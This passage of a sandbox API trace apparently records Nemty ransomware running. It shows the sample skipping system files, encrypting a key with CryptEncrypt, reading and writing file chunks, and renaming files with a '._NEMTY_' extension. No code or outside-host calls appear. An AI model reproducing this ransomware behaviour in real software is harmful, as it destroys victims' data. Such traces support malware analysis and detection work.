lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.724] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.724] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.733] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.733] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.733] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.733] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.742] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.742] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.742] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.742] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.752] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.752] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.752] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.752] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.758] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.758] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.758] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.758] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.764] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.764] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.764] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.764] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0085.764] CloseHandle (hObject=0xffffffff) returned 0 [0085.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0085.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0085.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0085.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0085.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0085.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0085.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0085.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0085.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0085.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0085.764] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0085.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0085.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0085.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0085.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0085.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0085.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0085.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0085.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0085.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0085.765] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0085.765] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff9568b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff9568b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0085.765] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0085.765] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0085.765] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="...") returned 1 [0085.765] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="windows") returned -1 [0085.765] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0085.765] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="rsa") returned -1 [0085.765] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0085.765] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0085.765] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0085.765] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0085.765] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0085.765] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0085.765] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0085.765] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0085.765] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0085.765] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0085.765] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0085.765] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0085.765] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0085.765] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="programdata") returned -1 [0085.765] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="appdata") returned 1 [0085.765] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0085.765] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0085.765] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0085.765] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0085.765] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0085.765] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0085.765] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0085.765] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0085.765] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0085.765] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0085.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0085.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0085.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0085.766] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0085.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0085.766] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0085.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0085.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0085.766] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0085.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0085.766] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345640, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0085.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0085.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0085.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0085.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94358 [0085.766] Sleep (dwMilliseconds=0x5) [0085.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe6c48c70, dwHighDateTime=0x1d561e7)) [0085.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe6c48c70, dwHighDateTime=0x1d561e7)) [0085.773] GetLastError () returned 0x5 [0085.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0085.773] GetLastError () returned 0x5 [0085.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0085.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0085.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0085.773] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0085.773] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0085.773] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0085.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340110 [0085.773] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340110, pcchString=0x653e91c | out: pszString="C8R1mVVJqv+fo4L2LgSSAbbc02VlhJkbYAY0ZCxdsxutOq66WLp6Ej0938G8hprj\r\n2jGfDgUb9g1+PNsTPVVgf6e6zYKfU+twBwj9k6QchyzCT/oTIiouiuYrhvbB80eX\r\nqOhF0X0WoeclvkefKwDiY6k8J32yOIFayrzY1sertqgWwIf+hESt35lZriDO0048\r\nqAj/RLr2Ia7xdhpxvVe939bmrBKbGo9t7Z9WM0FLfvTIMsUntcegOLpfNw2F2b7m\r\ntAUzWpbQRknxQGKKAS+xQZDvS3FDfajNd8FkqgGIKdj3cSUjbMlQ2GASWb5WeyKs\r\n4dSMHIs7x6z8gTI7ZTneVQ==\r\n", pcchString=0x653e91c) returned 1 [0085.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0085.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0085.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0085.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f94420 [0085.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340110 [0085.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0085.774] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0085.774] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0085.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0085.774] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.774] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.783] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.783] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.783] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.783] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.793] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.793] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.793] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.793] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.802] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.802] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.802] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.802] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.811] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.811] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.811] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.811] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.821] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.821] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.821] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.830] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.830] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.830] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.830] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.839] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.839] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.839] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.839] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.849] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.849] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.849] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.849] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.858] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.858] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.858] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.858] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, 